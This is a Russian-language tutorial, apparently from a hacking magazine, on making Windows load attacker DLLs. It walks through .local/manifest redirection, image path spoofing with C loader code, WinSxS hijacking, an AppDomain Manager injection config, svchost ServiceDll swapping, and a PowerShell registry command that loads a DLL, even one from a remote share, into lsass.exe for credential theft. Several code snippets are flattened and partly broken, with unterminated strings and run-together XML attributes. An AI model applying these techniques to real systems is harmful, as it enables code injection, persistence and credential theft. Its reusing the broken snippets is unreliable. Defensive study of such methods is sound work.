March 20

Редирект со спуфингом. Ищем в Windows лазейки для исполнения стороннего кода

  1. DLL Redirection
  2. Image Path Name Spoofing
  3. WinSxS
  4. svchost.exe
  5. LSASS Driver
  6. Выводы

Внут­ри Windows кро­ется огромное количес­тво инте­рес­ных и неоче­вид­ных воз­можнос­тей. В этой статье я покажу, как зас­тавить опе­раци­онку заг­рузить нашу биб­лиоте­ку в любой про­цесс!

Од­на из самых популяр­ных атак, нап­равлен­ных на повыше­ние при­виле­гий, — это DLL Hijacking. Что­бы ее про­вес­ти, ата­кующий помеща­ет свою вре­донос­ную биб­лиоте­ку на пути поис­ка легитим­ной DLL. Это при­водит к тому, что целевое при­ложе­ние под­гру­жает сто­рон­нюю либу и выпол­няет вре­донос­ный код.

На пер­вый взгляд такая ата­ка кажет­ся очень прос­той. Я бы даже ска­зал при­митив­ной. Тем не менее, сущес­тву­ет нес­коль­ко под­водных кам­ней, которые час­то упус­кают из вида ата­кующие.

Во‑пер­вых, мно­гие забыва­ют сде­лать DLL Proxying до целевой биб­лиоте­ки, что при­водит к полом­ке все­го при­ложе­ния. Оно кра­шит­ся, так как пыта­ется выз­вать фун­кцию из биб­лиоте­ки, в которой нуж­ного кода нет.

Во‑вто­рых, иног­да вызов фун­кций вро­де LoadLibrary(), CreateProcess() и CreateThread() помеща­ют в фун­кцию DllMain(), что при­водит к дед­локу (Dead Lock) из‑за механиз­ма Loader Lock. Loader Lock выс­тупа­ет в качес­тве кри­тичес­кой сек­ции (при­митив син­хро­низа­ции потоков про­цес­са). Фак­тичес­ки выпол­нение потока прог­раммы бло­киру­ется до момен­та сня­тия Loader Lock.

В‑треть­их, сущес­тву­ют некото­рые фак­торы, вли­яющие на порядок поис­ка DLL. Стан­дар­тные пути поис­ка изоб­ражены ниже.

Где Windows ищет DLL

Это так называ­емый SafeDllSearchOrder. Если он отклю­чен, то пос­ле Application Directory фун­кция LoadLibrary*() смот­рит Current Directory. Отклю­чить SafeDllSearchMode мож­но, выс­тавив в ноль зна­чение по это­му пути:

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode

Еще один фак­тор, вли­яющий на поиск — это фун­кция LoadLibraryEx(), выз­ванная со зна­чени­ем LOAD_WITH_ALTERED_SEARCH_PATH. В таком слу­чае пер­вым делом DLL ищут­ся по пути, ука­зан­ному внут­ри этой фун­кции.

По­мимо про­чего сущес­тву­ют встро­енные механиз­мы Windows, которые поз­воля­ют внед­рить нашу биб­лиоте­ку в целевой про­цесс. В до­кумен­тации Microsoft есть упо­мина­ние некото­рых из них. Давай изу­чим их под­робнее.

DLL REDIRECTION

Для обычных исполняемых файлов

DLL Redirection — спе­циаль­ный механизм, поз­воля­ющий прог­раммам исполь­зовать раз­ные вер­сии DLL для сво­их задач, при­чем не зат­рагивая обыч­ные сис­темные биб­лиоте­ки. Дей­ствие рас­простра­няет­ся толь­ко на фун­кции LoadLibrary*().

Фак­тичес­ки, незави­симо от того, ука­зан ли в ней пол­ный путь (C:\Windows\System32\dll.dll) или корот­кий (dll.dll), фун­кция про­верит, при­сутс­тву­ет ли в текущей дирек­тории (в которой находит­ся при­ложе­ние, которое выз­вало эту фун­кцию) файл с рас­ширени­ем .local. И если при­сутс­тву­ет, то фун­кция LoadLibrary*() в любом слу­чае заг­рузит в пер­вую оче­редь DLL из текущей дирек­тории при­ложе­ния.

Наз­вание фай­ла .local дол­жно быть таким же, как и наз­вание про­цес­са, из которо­го выз­вана фун­кция LoadLibrary(). Нап­ример, если при­ложе­ние — Editor.exe, то имя фай­ла дол­жно быть Editor.exe.local.

Пред­ста­вим, что этот самый C:\myapp\Editor.exe попыта­ется через LoadLibrary*() заг­рузить какую‑нибудь либу. Нап­ример, такую:

C:\Program Files\Common Files\System\mydll.dll

Тог­да LoadLibrary*() про­верит сущес­тво­вание фай­ла Editor.exe.local в дирек­тории, где лежит Editor.exe. Если файл .local най­дет­ся, то фун­кция попыта­ется сна­чала заг­рузить mydll.dll из текущей дирек­тории.

То есть сна­чала про­веря­ется этот путь:

C:\myapp\mydll.dll

И если такого фай­ла нет, то заг­рузит­ся по ука­зан­ному пол­ному пути:

C:\Program Files\Common Files\System\mydll.dll

Са­мое инте­рес­ное: мы можем соз­дать не толь­ко файл Editor.exe.local, но и пап­ку с таким наз­вани­ем, потому что содер­жимое фай­ла .local не про­веря­ется. В таком слу­чае DLL будет под­гру­жена по сле­дующе­му пути:

C:\myapp\myapp.exe.local\mydll.dll

Итак, прис­тупим к написа­нию PoC. Во‑пер­вых, нам нуж­но целевое при­ложе­ние, которое будет под­гру­жать биб­лиоте­ку с ука­зани­ем пол­ного пути.

На­зовем это при­ложе­ние Article.exe.

#include <Windows.h> #include <iostream> int main() { LoadLibraryW(L"C:\\Users\\Michael\\Desktop\\Redir.dll"); char a; std::cin >> a; return 0;}

В качес­тве легитим­ной биб­лиоте­ки ском­пилиру­ем сле­дующий код и назовем Redir.dll.

#include "pch.h" BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: MessageBox(NULL, L"HI FROM LEGIT", L"HI FROM LEGIT", MB_OK); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}

Пос­ле ком­пиляции перене­сем в пап­ку C:\Users\Michael\Desktop биб­лиоте­ку Redir.dll. Про­верим, что она успешно запус­кает­ся и выпол­няет­ся.

Ус­пешная под­груз­ка легитим­ной биб­лиоте­ки
Кор­рек­тный путь

Те­перь изме­ним код Redir.dll на сле­дующий.

#include "pch.h" BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ){ switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: MessageBox(NULL, L"HI FROM FAKE", L"HI FROM FAKE", MB_OK); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE;}

Ском­пилиру­ем его и соз­дадим в пап­ке с Article.exe файл Article.exe.local.

Вклю­чение Dll Redirection

Те­перь запус­тим исполня­емый файл и убе­дим­ся, что биб­лиоте­ка дей­стви­тель­но заг­ружа­ется из текущей дирек­тории при­ложе­ния, а не по пол­ному пути.

Ус­пешная работа DLL Redirection
Убеж­даем­ся, что заг­ружена нуж­ная биб­лиоте­ка

Ес­ли уда­лить файл .local, то вновь будет заг­ружать­ся нуж­ная биб­лиоте­ка.

Заг­рузка легитим­ной биб­лиоте­ки

Сборки .NET

Для сбо­рок .NET все чуточ­ку про­ще. Нам нуж­но соз­дать файл .manifest, либо отре­дак­тировать сущес­тву­ющий, добавив в него зависи­мость от кон­крет­ной биб­лиоте­ки. Вот при­мер кон­фигура­цион­ного фай­ла.

<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentityversion="6.0.0.0"processorArchitecture="x86"name="redirector"type="win32"/> <description> DLL Redirection </description> <dependency> <dependentAssembly><assemblyIdentitytype="win32"name="Microsoft.Windows.Common-Controls"version="6.0.0.0"processorArchitecture="X86"publicKeyToken="6595b64144ccf1df"language="*"/> </dependentAssembly> </dependency> <file name="user32.dll" /> </assembly>

В дан­ном слу­чае мы с помощью атри­бута name ука­зыва­ем, что целевая сбор­ка зависит от user32.dll. Пос­ле чего файл нуж­но сох­ранить с наз­вани­ем program.exe.manifest, где program.exe — имя при­ложе­ния, в которое дол­жна под­гру­зить­ся биб­лиоте­ка.

Это при­ведет к тому, что user32.dll будет под­гру­жать­ся из той дирек­тории, отку­да запус­кает­ся при­ложе­ние.

IMAGE PATH NAME SPOOFING

Теория

Ата­ка зак­люча­ется в том, что мы можем исполь­зовать фун­кции Rtl* и обма­нуть при­ложе­ние, зас­тавив его думать, что оно запус­кает­ся из дру­гой дирек­тории. Образно, при­ложе­ние лежит в C:\Windows\System32\abc.exe, а мы ска­жем, что в C:\Users\abc.exe. Как следс­твие, abc.exe будет гру­зить биб­лиоте­ки из C:\Users.

Все осно­вано на фун­кци­ях RtlCreateProcessParametersEx() и RtlCreateUserProcess(). Windows (а так­же плат­форма CLR) будет искать биб­лиоте­ки (либо сбор­ки .NET, в слу­чае CLR) по пути, ука­зан­ном в эле­мен­те ImagePathName струк­туры RTL_USER_PROCESS_PARAMETERS. Эту струк­туру генери­рует фун­кция RtlCreateProcessParametersEx(). Запущен­ный про­цесс в свою оче­редь будет пар­сить эту струк­туру и извле­чет из нее ImagePathName. И, как следс­твие, рас­кро­ет текущую дирек­торию, которая в дей­стви­тель­нос­ти спуф­нута.

Реализация

Фун­кция RtlCreateProcessParametersEx() выг­лядит вот так.

typedef NTSTATUS (NTAPI *_RtlCreateProcessParametersEx)( _Out_ PRTL_USER_PROCESS_PARAMETERS *pProcessParameters, _In_ PUNICODE_STRING ImagePathName, _In_opt_ PUNICODE_STRING DllPath, _In_opt_ PUNICODE_STRING CurrentDirectory, _In_opt_ PUNICODE_STRING CommandLine, _In_opt_ PVOID Environment, _In_opt_ PUNICODE_STRING WindowTitle, _In_opt_ PUNICODE_STRING DesktopInfo, _In_opt_ PUNICODE_STRING ShellInfo, _In_opt_ PUNICODE_STRING RuntimeData, _In_ ULONG Flags);

Собс­твен­но, эта фун­кция запол­няет струк­туру RTL_USER_PROCESS_PARAMETERS.

typedef struct _RTL_USER_PROCESS_PARAMETERS{ ULONG MaximumLength; ULONG Length; ULONG Flags; ULONG DebugFlags; HANDLE ConsoleHandle; ULONG ConsoleFlags; HANDLE StandardInput; HANDLE StandardOutput; HANDLE StandardError; CURDIR CurrentDirectory; UNICODE_STRING DllPath; UNICODE_STRING ImagePathName; // Вот это будем спуфать UNICODE_STRING CommandLine; PVOID Environment; ULONG StartingX; ULONG StartingY; ULONG CountX; ULONG CountY; ULONG CountCharsX; ULONG CountCharsY; ULONG FillAttribute; ULONG WindowFlags; ULONG ShowWindowFlags; UNICODE_STRING WindowTitle; UNICODE_STRING DesktopInfo; UNICODE_STRING ShellInfo; UNICODE_STRING RuntimeData; RTL_DRIVE_LETTER_CURDIR CurrentDirectories[RTL_MAX_DRIVE_LETTERS]; ULONG EnvironmentSize; ULONG EnvironmentVersion; PVOID PackageDependencyData; ULONG ProcessGroupId;} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

Имен­но эта струк­тура будет переда­вать­ся в фун­кцию RtlCreateUserProcess().

typedef NTSTATUS (NTAPI *_RtlCreateUserProcess)( _In_ PUNICODE_STRING NtImagePathName, _In_ ULONG AttributesDeprecated, _In_ PRTL_USER_PROCESS_PARAMETERS ProcessParameters, _In_opt_ PSECURITY_DESCRIPTOR ProcessSecurityDescriptor, _In_opt_ PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, _In_opt_ HANDLE ParentProcess, _In_ BOOLEAN InheritHandles, _In_opt_ HANDLE DebugPort, _In_opt_ HANDLE TokenHandle, _Out_ PRTL_USER_PROCESS_INFORMATION ProcessInformation);

Эта ата­ка не сра­бота­ет, если при­ложе­ние под­гру­жает целевую биб­лиоте­ку с ука­зани­ем пол­ного пути. Я пытал­ся сов­местить эту ата­ку с DLL Redirection с соз­дани­ем фай­ла .local, но безус­пешно.

Вер­немся к нашему экспе­римен­ту. Чуть‑чуть поп­равим файл Article.exe, что­бы он заг­ружал биб­лиоте­ку без ука­зания пол­ного пути.

#include <Windows.h>#include <iostream>int main() { LoadLibraryW(L"Redir.dll"); char a; std::cin >> a; return 0;}

В соот­ветс­твии с поряд­ком поис­ка DLL Windows в пер­вую оче­редь будет пытать­ся най­ти Redir.dll в текущей дирек­тории при­ложе­ния. Здесь‑то мы его и пой­маем!

Убе­дим­ся в работос­пособ­ности при­ложе­ния.

За­пуск из Desktop — под­груз­ка биб­лиоте­ки из Desktop
За­пуск из дру­гой пап­ки — под­груз­ка фей­ковой DLL

Те­перь уда­ляем Article.exe из пап­ки с фей­ковой DLL и начина­ем писать заг­рузчик. Назовем его PathSpoof.exe.

Я не смог най­ти ссыл­ку на gists, но этот код я ког­да‑то ста­щил у ува­жаемо­го snovvcrash. Пред­лагаю толь­ко нес­коль­ко поп­равить исходник, изме­нив с уче­том наших целей.

UNICODE_STRING spoofedImagePathName; spoofedImagePathName.pBuffer = (PWSTR)L"\\??\\A:\\SSD\\ProjectsVS\\Article\\x64\\Debug\\Article.exe"; //Где реально должно запуститься приложение for (spoofedImagePathName.Length = 0; spoofedImagePathName.pBuffer[spoofedImagePathName.Length]; spoofedImagePathName.Length++);spoofedImagePathName.Length = spoofedImagePathName.Length * sizeof(WCHAR);spoofedImagePathName.MaximumLength = spoofedImagePathName.Length + sizeof(UNICODE_NULL); UNICODE_STRING currentDirectory; currentDirectory.pBuffer = (PWSTR)L"C:\\Windows\\System32\"; for (currentDirectory.Length = 0; currentDirectory.pBuffer[currentDirectory.Length]; currentDirectory.Length++); currentDirectory.Length = currentDirectory.Length * sizeof(WCHAR); currentDirectory.MaximumLength = currentDirectory.Length + sizeof(UNICODE_NULL); UNICODE_STRING commandLine; commandLine.pBuffer = (PWSTR)L"C:\\Windows\\System32\"; for (commandLine.Length = 0; commandLine.pBuffer[commandLine.Length]; commandLine.Length++); commandLine.Length = commandLine.Length * sizeof(WCHAR); commandLine.MaximumLength = commandLine.Length + sizeof(UNICODE_NULL); UNICODE_STRING imagePathName; imagePathName.pBuffer = (PWSTR)L"\\??\\C:\\Users\\Michael\\Desktop\\Article.exe"; // Путь к приложению, которое должно быть спуфнуто for (imagePathName.Length = 0; imagePathName.pBuffer[imagePathName.Length]; imagePathName.Length++); imagePathName.Length = imagePathName.Length * sizeof(WCHAR); imagePathName.MaximumLength = imagePathName.Length + sizeof(UNICODE_NULL);

За­пус­каем PathSpoof.exe и видим успешную под­груз­ку биб­лиоте­ки.

Image Path Spoofing в дей­ствии
До­каза­тель­ство из Process Hacker

WINSXS

Ме­ханизм WinSxS (Windows Side By Side) слу­жит для хра­нения раз­ных вер­сий важ­ных сис­темных фай­лов. Пос­ле обновле­ния Windows в пап­ку C:\Windows\WinSxS пада­ют прош­лые вер­сии вся­ких прог­рам­мных ком­понен­тов. Это поз­воля­ет в слу­чае сбоя отка­тить­ся назад и вер­нуть сис­тему к жиз­ни.

Ис­сле­дова­тели из SecurityJoes обна­ружи­ли, что в пап­ку WinSxS попада­ют ехе‑при­ложе­ния, уяз­вимые к ата­ке DLL Hijacking. Дело в том, что порядок поис­ка биб­лиотек у этих при­ложе­ний сле­дующий:

  1. пап­ка, в которой лежит .ехе;
  2. C:\Windows\System32;
  3. C:\Windows\System;
  4. C:\Windows;
  5. те­кущая пап­ка.

И имен­но на пятом шаге иссле­дова­тели ловили при­ложе­ния из WinSxS, пыта­ющиеся под­гру­зить биб­лиоте­ку из их текущей дирек­тории. Алго­ритм обна­руже­ния донель­зя прост:

  • за­пус­каем cmd.exe;
  • за­ходим в C:\Users\<currentuser>\Desktop;
  • за­пус­каем при­ложе­ние WinSxS.

Ес­ли при­ложе­ние уяз­вимо, то оно порыс­кает в пап­ках из 1-4 шагов, а потом при­дет в C:\Users\<currentuser>\Desktop, что­бы най­ти целевую биб­лиоте­ку. Здесь‑то с помощью Process Monitor его и пой­мают!

В ходе ре­сер­ча наш­лось мно­жес­тво уяз­вимых при­ложе­ний.

Уяз­вимые при­ложе­ния

Ты можешь и сам искать подоб­ные дыр­ки, исполь­зуя тот же Process Monitor или DLLHSC.

К сло­ву, в ходе одно­го из про­ектов по пен­тесту мне уда­лось подоб­ным обра­зом про­экс­плу­ати­ровать WinSxS, но там сра­бота­ло нес­коль­ко усло­вий:

  1. це­левое при­ложе­ние было сбор­кой .NET;
  2. нуж­но было реали­зовать MITRE T1574 Hijack Execution Flow.

По­это­му я при­бег­нул к так­тике с AppDomain Manager Injection.

Пред­положим, что целевое при­ложе­ние называ­лось NetConfigLdr.exe (наз­вание изме­нено, в моем слу­чае был кас­томный софт кли­ента), поэто­му я соз­дал файл NetConfigLdr.exe.config, ука­зав сле­дующее содер­жимое.

<configuration> <runtime> <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1"> <probing privatePath="C:\Windows\WinSxS"/> </assemblyBinding> <appDomainManagerAssembly value="AppDomInject, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null" /> <appDomainManagerType value="MyAppDomainManager" /> </runtime> </configuration>

Этот файл лежал рядом с NetConfigLdr.exe, рав­но как и биб­лиоте­ка AppDomInject.dll. Это поз­волило реали­зовать MITRE и про­экс­плу­ати­ровать файл из WinSxS.

Кста­ти, если ты еще не забыл про Image Path Name Spoofing, то AppDomain Injection получит­ся сов­мещать с таким спу­фин­гом. Это под­робно опи­сано в иссле­дова­нии у Sektor7.

SVCHOST.EXE

От­дель­но я хочу упо­мянуть инжект в svchost.exe (то есть внед­рение в любую служ­бу). Сам по себе svchost.exe — один из мно­жес­тва слу­жеб­ных про­цес­сов. Он может под­гру­жать DLL-файл служ­бы, взяв путь из записи реес­тра со зна­чени­ем ServiceDll.

Нап­ример, для служ­бы TermSrv есть файл termsrv.dll, он находит­ся в %SystemRoot%\System32\. Этот путь про­писан внут­ри зна­чения ServiceDll вот здесь:

HKLM\System\CurrentControlSet\services\TermService\Parameters\

Так мы можем под­менить саму DLL или зна­чение в реес­тре, что при­ведет к под­груз­ке сто­рон­ней биб­лиоте­ки при переза­пус­ке служ­бы.

Зна­чение servicedll

LSASS DRIVER

Су­щес­тву­ет недоку­мен­тирован­ное зна­чение реес­тра, в которое мож­но засунуть биб­лиоте­ку, и она будет заг­ружена в про­цесс lsass.exe.

# powershellNew-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NTDS -Name LsaDbExtPt -Value "c:\windows\system32\1.dll"# очисткаRemove-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS" -Name "LsaDbExtPt" -ErrorAction Ignore | Out-Null# Можно даже указать удаленную либуNew-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\NTDS -Name LsaDbExtPt -Value "\\share\lulz\lsass_lib.dll"

При­чем есть даже PoC, поз­воля­ющий хук­нуть фун­кцию SpAcceptCredentials() и извле­кать учет­ные дан­ные поль­зовате­лей.

ВЫВОДЫ

У Windows есть необыч­ные воз­можнос­ти, которым иног­да поль­зуют­ся и ата­кующие. Конеч­но, порой про­ще наг­ло влезть в адресное прос­транс­тво про­цес­са, записать туда бай­ты DLL-биб­лиоте­ки и дер­нуть CreateRemoteThread(), но это далеко не панацея. В кон­це кон­цов, зна­ешь боль­ше спо­собов — креп­че спишь (и быс­трее зак­рыва­ешь про­екты)!